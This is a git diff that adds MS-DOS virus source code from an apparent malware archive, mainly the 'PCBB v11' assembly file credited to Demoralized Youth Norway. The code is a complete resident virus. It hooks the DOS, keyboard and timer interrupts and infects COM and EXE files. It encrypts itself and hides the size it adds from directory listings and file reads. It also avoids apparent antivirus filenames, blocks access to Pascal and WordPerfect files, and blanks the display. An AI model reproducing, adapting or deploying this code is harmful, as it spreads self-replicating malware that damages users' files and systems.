ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ + +stealth_dir_handle: + jc done_stealthing_handle + + pushf + call push_all + + mov ah,2Fh + call int21 + mov ax,word ptr es:[bx+16h] + and al,31 + cmp al,sec + jne done_stealthing_handle + + cmp word es:[bx+1Ah],3*1024 + jc done_stealthing_handle + sub word es:[bx+1Ah],3*1024 + sbb word es:[bx+1Ch],0 + +done_stealthing_handle: + jmp done_stealthing_fcb + +stealth_dir_fcb: + pushf + call push_all + + mov ah,2Fh + call int21 + + cmp byte es:[bx],0FFh ;extended fcb? + jne no_ext_fcb + add bx,7 +no_ext_fcb: + mov al,byte ptr es:[bx+17h] + and al,31 + cmp al,sec + jne done_stealthing_fcb + + cmp word es:[bx+1Dh],3*1024 + jc done_stealthing_fcb + sub word es:[bx+1Dh],3*1024 + sbb word es:[bx+1Fh],0 + +done_stealthing_fcb: + call pop_all + popf + ret + + +reset_i24: push ds + push dx + push ax + lds dx,cs:o24[0] + + mov ax,2524h ;restore int 24 vector + call int21 + pop ax + pop dx + pop ds + ret + +wpbuff db ' ' +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Deny access to any PASCAL or WORD PERFECT files +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +PAS_WP: + xchg bx,ax + + mov si,dx + cld +search_pas: + lodsw + dec si + + cmp al,0 + je not_pas + cmp ah,0 + je not_pas + + and ax,0DFDFh + + cmp ax,'P.' and 0DFDFh + jne search_pas + mov ax,word [si+1] + and ax,0DFDFh + cmp ax,'SA' + je fuck_wp +not_pas: + xchg bx,ax + call int21 + jc not_wp + + xchg bx,ax + cmp bx,5 + jb not_wp + + xor si,si + + mov ah,3Fh + mov cx,3 + push cs + pop ds + mov dx,offset wpbuff + call int21 + + jc close_wp + cmp cx,3 + jne close_wp + + cmp word wpbuff[1],'PW' + + jne close_wp + + inc si +close_wp: + mov ah,3Eh + call int21 + cmp si,0 + je not_wp + +fuck_wp: pop si + call reset_i24 + call pop_all + popf + mov ax,4 + stc + retf 2 +not_wp: + mov ah,3Dh + ret + +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +; Anti WiNDOWS Routine +; (Just started... Not at all ready!!!) +;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +windows: + ret + +;; call push_all +; xchg cx,ax +; mov di,dx +; push ds +; pop es +; cld +; xor al,al +;winsrc: repnz scasb +; jne win_fail +; +; sub di,8 +; xchg si,di + + +;db 'Elo‹, Elo‹, lam  sabakt ni?' + +dummy db 18h dup(0) ;3 + +version db ver ;\ +size dw (offset total)-100h ; > 6 bytes +db 'PCBB' ;/ + +total: + tsr_para equ ((1024*6)/16) +2 ;equ (($-100h / 16)+2)*2 + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pcbb3072.asm b/MSDOS/Virus.MSDOS.Unknown.pcbb3072.asm new file mode 100644 index 00000000..ec87750b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pcbb3072.asm @@ -0,0 +1,1428 @@ +sec equ 28 +ideal equ 3*1024 ;every file will increase by this ammount of bytes + +; °°°°°°° °°°°°° °°°°°°° °°°°°°° +; °±±±±±±±° °±±±±±±° °±±±±±±±° °±±±±±±±° +; °±²²²²²²²±° °±²²²²²²±° °±²²²²²²²±° °±²²²²²²²±° +; °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° +; °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²²²²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪ²±±±° °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° +; °±²ŪŪŪŪ²²²±° °±²ŪŪŪŪ²²²²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪ²±±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪ²±° °±²ŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° +; °±²²²²±° °±²²²²²²±° °±²²²²²²²±° °±²²²²²²²±° +; °±±±±° °±±±±±±° °±±±±±±±° °±±±±±±±° +; °°°° °°°°°° °°°°°°° °°°°°°° +; +Ver equ 11 +; + +cpt1 equ $ ;Checkpoint 1 + +enc_start equ $ +org 100h + call dummyjmp1 + +marker db 0 ;com / exe marker (0=com, 1=exe) + +dummyjmp1: pop bx + + cmp byte [bx],0 + je is_a_com + + mov ax,es + add ax,0 +exe_cpt1 equ $-2 + push ax + mov ax,0 +exe_cpt2 equ $-2 + push ax + + push es + pop ds + jmp cont_install + +is_a_com: + push cs + mov ax,100h + push ax + +cont_install: + push ds + + push cs + pop ds + + call one_three + + mov ax,0C001h + mov bx,ax + add ax,07DFFh + + db 0EBh,01,0EBh + + int 21h + + db 0E9h,1,0,0B8h + + cmp bx,0D00Dh + je startup_fail + + call one_three + +; cmp sp,-10h +; jb startup_fail + + mov ax,es + dec ax + mov es,ax + cmp byte es:[0000h],'Z' + jne startup_fail + + mov ax,es:[0003h] + sub ax,tsr_para + jc startup_fail + + mov es:[0003h],ax + sub word ptr es:[0012h],tsr_para + mov es,es:[0012h] + + call one_three + + call $+3 + +cpt3 equ $ ;Checkpoint 3 + + pop si + sub si,(cpt3-cpt1) + mov bx,si + add si,(cpt4-cpt1) + push cs + push si + + mov si,bx + mov cx,offset total-100h + mov di,100h + push es + rep movsb + mov di,offset init + push di + + retf +cpt4 equ $ ;Checkpoint 4 + +startup_fail: + call $+3 +dummycpt1 equ $-offset marker + sub ax,ax + xor bx,bx + sub cx,cx + xor dx,dx + xor di,di + sub bp,bp + pop si + pop ds + push ds + pop es + cmp byte cs:[si-dummycpt1],1 + je file_is_exe + + mov word [100h],20CDh +rpl1 equ $-2 + mov byte [102h],90h +rpl2 equ $-1 + +file_is_exe: + sub si,si + retf + +cpt2 equ $ ;Checkpoint 2 + +;**************************************************************************** +;* Data Area * +;**************************************************************************** + +;sft equ 005Ch ;3Ah + +ofs_scan_crc equ 0050h ;+3 +ofs_chk_ver equ 0053h ;+1 version number +ofs_chk_size equ 0054h ;+2 version size +ofs_chk_sig equ 0056h ;+4 signature + +header equ 005Ah +ofs_first_3 equ 005Ah ;+3 three first bytes in COM +ofs_time equ 008Dh ;+2 +ofs_date equ 008Fh ;+2 +ofs_attr equ 0091h ;2 + +sft_attr equ 04h ;(byte) +sft_time equ 0Dh ;(word) +sft_date equ 0Fh ;(word) +sft_size equ 11h ;(dword) + +; ;CRC signature added by "SCAN /AV" +;scan_sig db 0f0h,0fdh,0c5h,0aah,0ffh,0f0h + +set_sgm: push cs + push ds + + +f_size dw 0 +bb_stat db 0 +cntr dw 0 +r_cntr dw 0,0 + +;;; DISK S. DATA ;;; +x_first3 db ' ' +x_version db 0 +x_size dw 0 +x_sig db ' ' + +stat db 0 +stat2 db 0 + +handle dw 0 + +_handle dw 0 +;_dx dw 0 +;_ds dw 0 +_bytes dw 0 +val_len dw 0,0 +pos dw 0,0 +pos2 dw 0,0 + +append dw 0 + +stealth1st dw 0 + +;;;DISK S DATA ENDS;;; + +;db 'Only The Good Die Young' + + +jmp_to dw 0 + +push_all: + pop cs:[jmp_to] + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + jmp cs:[jmp_to] + +pop_all: + pop cs:[jmp_to] + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp cs:[jmp_to] + + + + + +handle_dir: + popf + call int21 + + pushf + jnc back_handle_dir + +; cmp ax,0 +; jne back_handle_dir + + call stealth_dir_handle + sti +back_handle_dir: + popf + iret + +fcb_dir: + popf + call int21 + + pushf + cmp al,00h + jne back_fcb_dir + + call stealth_dir_fcb + sti +back_fcb_dir: + popf + iret + + + + +;**************************************************************************** +;* Interupt 24 handler * +;**************************************************************************** +ni24: mov al,3 + iret + +;**************************************************************************** +;* Call OLD Interrupt 21 Handler +;**************************************************************************** +int21: + pushf + call dword ptr cs:org21 + ret + +;**************************************************************************** +;* Interupt 21 handler * +;**************************************************************************** +ni21: pushf + +;cmp ah,40h +;je __read + +;jmp no_fcb12 ;no_bogus + + cmp ah,11h + jne no_fcb11 + jmp fcb_dir +no_fcb11: + cmp ah,12h + jne no_fcb12 + jmp fcb_dir +no_fcb12: + +jmp no_bogus + + cmp ah,03Fh + jne no_bogus +__read: jmp _read + +no_bogus: + cmp ah,03Eh + jne body + cmp bx,0C001h + + jne body + mov bx,0D00Dh + popf + stc + retf 2 + +o24 dw 0,0 +o13 dw 0,0 + +body: + call push_all + + push ax + push ds + push dx + push es + push bx + + xor ax,ax + mov es,ax + les bx,es:[24h*4] + + mov cs:o24[0],bx + mov cs:o24[2],es + mov ax,2524h + mov dx,offset ni24 + push cs + pop ds + call int21 + pop bx + pop es + pop dx + pop ds + pop ax + + + cmp ah,3Eh ;close ? + jne vvv + cmp bx,5 + jl exit + + mov ah,45h ;duplicate handle + jmp doit +vvv: cmp ah,56h ;rename ? + je dsdx + cmp ah,43h ;chmod ? + je dsdx + cmp ah,3Dh + jne not_open + + call pas_wp +not_open: + ; cmp ah,3Dh ;open ? + ; je dsdx + cmp ax,4B00h ;execute ? + jne exit + +dsdx: mov ax,3D00h ;open the file +doit: call int21 + jc exit + xchg ax,bx + jmp infect + +exit: + call reset_i24 + +glemmdet: + call pop_all +alfa: + popf + + db 0EAh ;JMP FAR xxxx:xxxx +org21 dw 0,0 + + +avslussen: mov ah,4Ch + int 21h + +one_three: + ret + pushf + push ax + push ds + push dx + + push cs + pop ds + + call $+3 + pop dx + sub dx,($-1)-offset avslussen + push cs + pop ds + + mov ax,2501h + int 21h + inc al + inc al + int 21h + + pop dx + pop ds + pop ax + popf + ret + + +db 'PCBB v11 (c) Hannibal Lechter of Demoralized Youth Norway' + +;**************************************************************************** +;* Try to stealth a HANDLE READ (3Fh) +;**************************************************************************** +_read: + cmp cs:stat,1 + je alfa + mov cs:stat,1 + cmp bx,5 + jl alfa + jcxz alfa + + mov cs:stat2,0 + call read + cmp cs:stat2,0 + je back2 + + popf + pushf + call dword ptr cs:org21 + jc back3 + + pushf + call push_all + + push ds + pop es + push cs + pop ds + + mov bx,pos[0] + mov cx,stealth1st[0] + + mov di,dx + add di,bx + mov si,offset header ;x_first3 + add si,bx + + cld +first_b2: + movsb + dec cx + jcxz first_b1 + inc bx + cmp bx,24 + jl first_b2 +first_b1: + call pop_all + popf +back3: + mov cs:stat,0 + mov cs:stat2,0 + iret +back2: + mov cs:stat,0 + mov cs:stat2,0 + jmp alfa + +;**************************************************************************** +;* Close the file +;**************************************************************************** +close: + push cx + push dx + + mov ax,5701h + mov cx,word cs:[ofs_time] + mov dx,word cs:[ofs_date] + call int21 + +; mov al,byte cs:[ofs_attr] +; mov byte [di+4],al + +; mov ax,4301h +; mov cx,word cs:[ofs_attr] +; call int21 + + pop dx + pop cx + + mov ah,3Eh + call int21 + ret + + +;db 'Now I lay me down to sleep, I pray the lord my soul to keep, If I die before ' +;db 'I wake, I pray the lord my soul to take' + +infect: cld + + mov cs:handle,bx + + mov ax,5700h + int 21h + mov word cs:[ofs_time],cx + mov word cs:[ofs_date],dx + + +;start NOP'ing here... +; push es +; push bx +; +; mov ax,3513h +; int 21h +; +; mov cs:o13[0],bx +; mov cs:o13[2],es +; +; mov ah,13h +; int 2Fh +; push es +; push bx +; int 2Fh +; pop dx +; pop ds +; mov ax,2513h +; int 21h +; +; pop bx +; pop es +; +;stop NOP'ing here... + + mov ax,1220h ;get file-table entry + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + push es + pop ds + + push [di+2] ;save attr & open-mode + push [di+4] + + mov al,[di+4] + mov byte cs:[ofs_attr],al + + cmp word [di+sft_size+2],0 + jne close1v + mov ax,word [di+sft_size] + cmp ah,0F0h + ja close1v + cmp ah,0 + jl close1v + + mov cs:f_size,ax + + cmp word ptr [di+28h],'XE' + jne not_exe + cmp word ptr [di+2Ah],'E' + je check_name + +not_exe: cmp word ptr [di+28h],'OC' + jne close1v ;jne + cmp byte ptr [di+2Ah],'M' +check: je check_name +close1v: jmp close1 + +check_name: cmp byte ptr [di+20h],'V' ;name is V*.* ? + je close1v + cmp byte ptr [di+20h],'F' ;name is F*.* ? + je close1v + + mov cx,7 ;name is *SC*.* ? + mov ax,'CS' + push di + add di,21h + cld +SCloop: dec di + scasw + loopnz SCloop + pop di + je close1v + + mov byte ptr [di+2],2 ;open for read/write + mov byte ptr [di+4],0 ;clear attributes + + cld + jmp read_info +_call1: + jc close2 +; push [di+0Dh] +; push [di+0Fh] + + jmp patch_it +_call0: +; pop [di+0Fh] +; pop [di+0Dh] +close2: + + push es ;close after infection + pop ds + + or byte ptr [di+6],40h ;no time-change + +; pop [di+4] +; pop [di+2] +; push [di+2] +; push [di+4] + +close1: call close ;normal close + + or byte ptr [di+5],40h ;no EOF on next close + pop [di+4] ;restore attribute & open-mode + pop [di+2] + +;start NOP +; lds dx,cs:o13[0] +; mov ax,2513h +; call int21 +;stop NOP + + + jmp exit + +read_info: + push ds + + push ds ;(ds) + pop es + + push cs + pop ds + + mov ah,3Fh + mov cx,18h + mov dx,ofs_first_3 + call int21 + jc failed + cmp al,18h + jne failed + + xchg cx,ax + shr cx,1 + mov si,ofs_first_3 + mov di,offset dummy + +encr_l8b: + lodsw + xor ax,'IF' + xor ax,'HS' + xor ax,'W&' + xor ax,'AH' + xor ax,'EL' + mov [di],ax + inc di + inc di + loop encr_l8b + + mov ax,4202h + mov cx,-1 + mov dx,-10 + call int21 + jc failed + + mov ah,3Fh + mov cx,10 + mov dx,ofs_scan_crc + call int21 + jc failed + cmp al,10 + jne failed + + mov ax,word ptr [ofs_first_3] + not ax + + cmp word ptr [ofs_chk_sig],'CP' ;is word [EOF-4] = 'PC' ? + jne not_infected + cmp word ptr [ofs_chk_sig+2],'BB' ;is word [EOF-2] = 'BB' ? + jne not_infected + jmp failed + +not_infected: + pop ds + clc + jmp _call1 +failed: + pop ds + stc + jmp _call1 + +;db 13,10 +;db "Whoe to you of earth and sea...",13,10 +;db "For the devil sends the beast with wrath,",13,10 +;db "Because he knows the time is short...",13,10 +;db "The people who have understanding,",13,10 +;db "Reckon the number of the beast,",13,10 +;db "Because it is a secret number...",13,10 +;db "It's number is six-hundred and sixty-six!",13,10,36 + +db 'When you are demoralized.... there is NO way out!',13,10,36 + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Keyboard (Int 09h) Handler ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +key_rout: + pushf + + inc cs:r_cntr[0] + adc cs:r_cntr[2],0 + + inc cs:cntr + cmp cs:cntr,offset total + jl key_b1 + mov cs:bb_stat,1 + mov cs:cntr,0 +key_b1: + cmp cs:bb_stat,0 + je key_b2 + + push ax + push cx + push dx + push ds + + xor ax,ax + mov ds,ax + mov al,byte ptr [417h] + and al,15 + cmp al,15 + jne key_b3 + + mov cs:bb_stat,0 + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,20h + out dx,al +key_b3: + pop ds + pop dx + pop cx + pop ax +key_b2: + popf + + db 0EAh +old_key dw 0,0 ;old KBD vector + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Timer Tick (Int 1Ch) Handler ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +tmr_rout: + pushf + + cmp cs:bb_stat,0 + je tmr_b1 + + push ax + push dx + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,0 + out dx,al ;0 = off, 32 = on + + pop dx + pop ax +tmr_b1: + popf + db 0EAh + oldh dw 0,0 ;Old TIMER-TICK vector + +enc_data db 011h,009h,00Dh,0E8h,000h,000h,05Eh,081h,0C6h,00Eh,000h,0B9h,000h + db 000h,080h,034h,000h,046h,0E2h,0FAh,013h,009h,00Fh,0E8h,000h,000h + db 05Bh,081h,0C3h,010h,000h,0B9h,000h,000h,033h,0F6h,080h,030h,000h + db 046h,0E2h,0FAh,015h,004h,012h,0E8h,000h,000h,0B9h,000h,000h,089h + db 0E5h,081h,046h,000h,012h,000h,05Eh,046h,080h,074h,0FFh,000h,0E2h + db 0F9h,015h,001h,012h,0B9h,000h,000h,089h,0E5h,0E8h,000h,000h,081h + db 046h,0FEh,00Dh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,016h + db 001h,013h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,036h,081h,047h + db 0FEh,00Eh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,019h,001h + db 016h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,083h,0EBh,004h,036h + db 081h,047h,002h,011h,000h,05Fh,047h,080h,075h,0FFh,000h,0E2h,0F9h + db 01Dh,009h,014h,0FCh,0EBh,002h,0C6h,006h,0E8h,000h,000h,0B9h,000h + db 000h,05Eh,081h,0C6h,015h,000h,0EBh,001h,0CDh,0B4h,000h,0ACh,032h + db 0C4h,088h,044h,0FFh,0E2h,0F8h + +encr_h_ofs dw 0 +encr_h_cx db 0 +encr_h_xor db 0 +encr_h_len db 0 + +repl0: db 0E8h,0,0 +repl1: jmp near 0100h + +patch_it: + push di + push si + push ds + + push cs + pop ds + + mov marker,0 + + cmp word [ofs_first_3],'MZ' + je exe_calc + cmp word [ofs_first_3],'ZM' + je exe_calc + + mov ax,f_size + sub ax,3 + mov repl0[1],ax + + mov ax,word [ofs_first_3] + mov dl,byte [ofs_first_3+2] + + mov [offset rpl1],ax + mov [offset rpl2],dl + jmp j_encrypt + +oldl0 dw 0 +oldl2 dw 0 + +exe_calc: + mov ax,4202h + xor cx,cx + xor dx,dx + call int21 + + mov oldl0,ax + mov oldl2,dx + + push ax + push dx + + mov ax,word [header+16h] + add ax,10h + mov word [exe_cpt1],ax + mov ax,word [header+14h] + mov word [exe_cpt2],ax + + pop dx + pop ax + push ax + push dx + + add ax,ideal + adc dx,0 + +; mov ax,oldl0 + mov cx,512 + div cx + inc ax + mov word [header+4],ax + mov word [header+2],dx + + pop dx + pop ax + + mov cx,16 + div cx + sub ax,word [header+8] + mov word [header+16h],ax + mov word [header+14h],dx + + mov marker,1 + +j_encrypt: + call encrypt ;encrypt & write + sahf + jc no_write_1st + + mov ax,4200h + xor cx,cx + mov dx,cx + call int21 + + cmp marker,1 + je exe_jump + + mov ah,40h + mov cx,3 + mov dx,offset repl0 ;write "CALL" head + call int21 + jmp alldone + +exe_jump: mov ah,40h + mov cx,18h + mov dx,ofs_first_3 + int 21h +alldone: + and byte cs:[ofs_time],255-31 + or byte cs:[ofs_time],sec +no_write_1st: + pop ds + pop si + pop di + sahf + jmp _call0; ret + +;db 'Blessed is the one who expects nothing, for he shall not be dissapointed$' + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Encrypt & Write ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +encrypt: + push ds ;Save DS & ES + push es + + push cs ;DS = ES = CS + push cs + pop ds + pop es + + push bx ;Save BX + + cld + call choose_encryption_head ;Choose encryption head +get_enc_key: + db 0E4h,40h + cmp al,0 + je get_enc_key + + mov bh,0 ;BH = 0 + mov bl,encr_h_xor ;BL = internal XOR-ofs + mov byte [si+bx],al ;b [Si+Bx] = Encr. key + mov bl,encr_h_cx ;BL = internal CX-ofs + mov word [si+bx],offset total-10Ah ;w [Si+Bx] = Encr.length + xchg di,ax ;DI = AX + + pop bx + push bx + + push ax + push di + cld + mov di,offset total + mov cx,2048 + mov al,'' + rep stosb + pop di + + xor ch,ch + mov cl,encr_h_len + add cx,offset total-100h + xchg cx,ax + mov cx,ideal + sub cx,ax + mov ah,40h + mov append,cx + mov dx,offset total + mov word [total],1F0Eh + call int21 + pop ax + + mov ah,40h ;Write to handle + pop bx ;restore handle number + xor ch,ch ;CH = 0 + mov cl,encr_h_len ;CL = Length of de-garbler + mov dx,si ;DX = Offset to de-garbler-head + call int21 ;Call DOS + + lahf ;AH = FLAGS + cmp al,cl ;All bytes written? + je success ;yes, then degarbler written + + sahf ;FLAGS = AH + jnc success ;If no error, then... + stc ;...set CY, and... + ret ;...return. +success: + xchg di,ax ;DI = AX + xchg al,ah ;Exchange AL with AH + mov si,100h ;SourceIndex = 100h + mov di,offset total ;DI = End-Of-Code + mov cx,offset total-11Fh ;Encryption length +encrypt_l: + lodsb ;al = [SI], si: +1 + xor al,ah ;garble byte + stosb ;[DI] = al, di: +1 + loop encrypt_l ;and again.... + + xor cx,cx + mov cl,encr_h_len + add cx,(offset total)-100h + add cx,append + mov size,cx + + mov cx,31 ;the last bytes remain + rep movsb ;degarbeled + + mov ah,40h ;Write to handle + mov cx,offset total-100h ;CX = Bytes + mov dx,offset total ;DX = Garbeled code + call int21 ;Call Dos + clc + lahf + cmp al,cl ;all bytes written? + je encr_b1 + stc + lahf +encr_b1: + pop es ;restore ES & DS + pop ds + sahf + ret ;return + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Choose which encryption-head to use with this generation, and store ŪŽ³ +;³ŻŪ the pointer and the two internal offsets for later use. ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +choose_encryption_head: + mov ah,2Ah ;get date + call int21 ;using DOS + xor ah,ah ;clear bits 9-16 of AX + mov cx,ax ;copy AX into CX + inc cx + and cl,7 + mov si,offset enc_data ;point SI to Enc_Data + + cld ;clear direction flag + +lete_etter_enc: + lodsb ;al=[si] , si=si+1 + add si,ax ;si = si + ax + inc si ;si = si + 1 + inc si ;si = si + 1 + loop lete_etter_enc ;continue the searching ... + +funnet_riktige: + sub si,ax + dec si + dec si + + mov encr_h_len,al + lodsb ;load the CX offset + mov encr_h_cx,al + lodsb ;load the XOR offset + mov encr_h_xor,al + mov encr_h_ofs,si + ret + + +;db 'Eddie lives... Somewhere in time...' + +init: + cli + xor ax,ax + mov ds,ax + mov si,9*4 + mov di,offset old_key + movsw + movsw + add si,(1Ch*4)-(9*4)-4 + mov di,offset oldh + movsw + movsw + add si,(21h*4)-(1Ch*4)-4 + mov di,offset org21 + movsw + movsw + + mov word [09h*4+2],cs + mov word [09h*4], offset key_rout + + mov word [1Ch*4+2],cs + mov word [1Ch*4], offset tmr_rout + + mov word [21h*4+2],cs + mov word [21h*4], offset ni21 + sti + + retf + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Disk Stealth: Read from handle (Int 21h,3Fh) ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +read: + call push_all + + mov cs:_handle,bx + mov cs:_bytes,cx + + push cs + pop ds + + mov ax,1220h + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + cmp word ptr [di+28h],'OC' + jne j_dso1 + cmp byte ptr [di+28h+2],'M' + je j_dso0 +j_dso1: + cmp word ptr [di+28h],'XE' + jne j_dso3 + cmp byte ptr [di+28h+2],'E' + je j_dso0 +j_dso3: + jmp phocked + +j_dso0: + push es:[di+15h] + push es:[di+17h] + push es:[di+2h] + or byte es:[di+2],3 + + mov ax,es:[di+15h] + mov pos[0],ax + mov ax,es:[di+17h] + mov pos[2],ax + + mov ax,es:[di+11h] + mov cx,es:[di+13h] + + sub ax,31 + sbb cx,0 + mov es:[di+15h],ax + mov es:[di+17h],cx + + mov ah,3Fh + mov cx,31 + mov dx,header + call int21 + jnc read_b1 +read_b2: + jmp done_it +read_b1: + cmp al,31 + jne read_b2 + cmp byte [header+18h],11 + jl read_b2 + + cmp word ptr [header+1Bh],'CP' ;[X_sig] + jne read_b2 + cmp word ptr [header+1Bh+2],'BB' ;[X_sig+2] + jne read_b2 + + mov si,header + push cx + mov cx,12 +decr_l8b: + lodsw + xor ax,'EL' + xor ax,'AH' + xor ax,'W&' + xor ax,'HS' + xor ax,'IF' + mov [si-2],ax + loop decr_l8b + pop cx + + cmp word ptr pos[2],0 + + jne vid4 + cmp word pos[0],23 ;2 + + ja vid4 + + mov stat2,1 + + mov ax,pos[0] + mov bx,_bytes + cmp bx,24 + jb vid5 + mov bx,24 +vid5: + sub bx,ax + mov stealth1st[0],bx +vid4: + mov ax,es:[di+11h] + mov dx,es:[di+13h] + sub ax,[header+19h] ;[x_size] + sbb dx,0 + mov val_len[0],ax + mov val_len[2],dx + + mov bx,pos[0] + mov cx,pos[2] + + cmp cx,dx + jbe vid2 + mov _bytes,0 + jmp done_it +vid2: + cmp cx,dx + jne vid3 + cmp bx,ax + jb vid3 + mov _bytes,0 + jmp done_it +vid3: + mov ax,val_len[0] + mov dx,val_len[2] + + mov bx,pos[0] + mov cx,pos[2] + add bx,_bytes + adc cx,0 + + cmp cx,dx + jae vid + mov _bytes,0 + jmp done_it + +vid: + cmp cx,dx + jne done_it + + cmp ax,bx + jae done_it + + sub bx,ax + sub _bytes,bx + +done_it: + pop es:[di+2] ;restore SFT data's + pop es:[di+17h] + pop es:[di+15h] +phocked: + call pop_all + + mov cx,cs:_bytes ;change CX (if of any use) + + ret ;return + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ DIR Stealth ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ + +stealth_dir_handle: + jc done_stealthing_handle + + pushf + call push_all + + mov ah,2Fh + call int21 + mov ax,word ptr es:[bx+16h] + and al,31 + cmp al,sec + jne done_stealthing_handle + + cmp word es:[bx+1Ah],3*1024 + jc done_stealthing_handle + sub word es:[bx+1Ah],3*1024 + sbb word es:[bx+1Ch],0 + +done_stealthing_handle: + jmp done_stealthing_fcb + +stealth_dir_fcb: + pushf + call push_all + + mov ah,2Fh + call int21 + + cmp byte es:[bx],0FFh ;extended fcb? + jne no_ext_fcb + add bx,7 +no_ext_fcb: + mov al,byte ptr es:[bx+17h] + and al,31 + cmp al,sec + jne done_stealthing_fcb + + cmp word es:[bx+1Dh],3*1024 + jc done_stealthing_fcb + sub word es:[bx+1Dh],3*1024 + sbb word es:[bx+1Fh],0 + +done_stealthing_fcb: + call pop_all + popf + ret + + +reset_i24: push ds + push dx + push ax + lds dx,cs:o24[0] + + mov ax,2524h ;restore int 24 vector + call int21 + 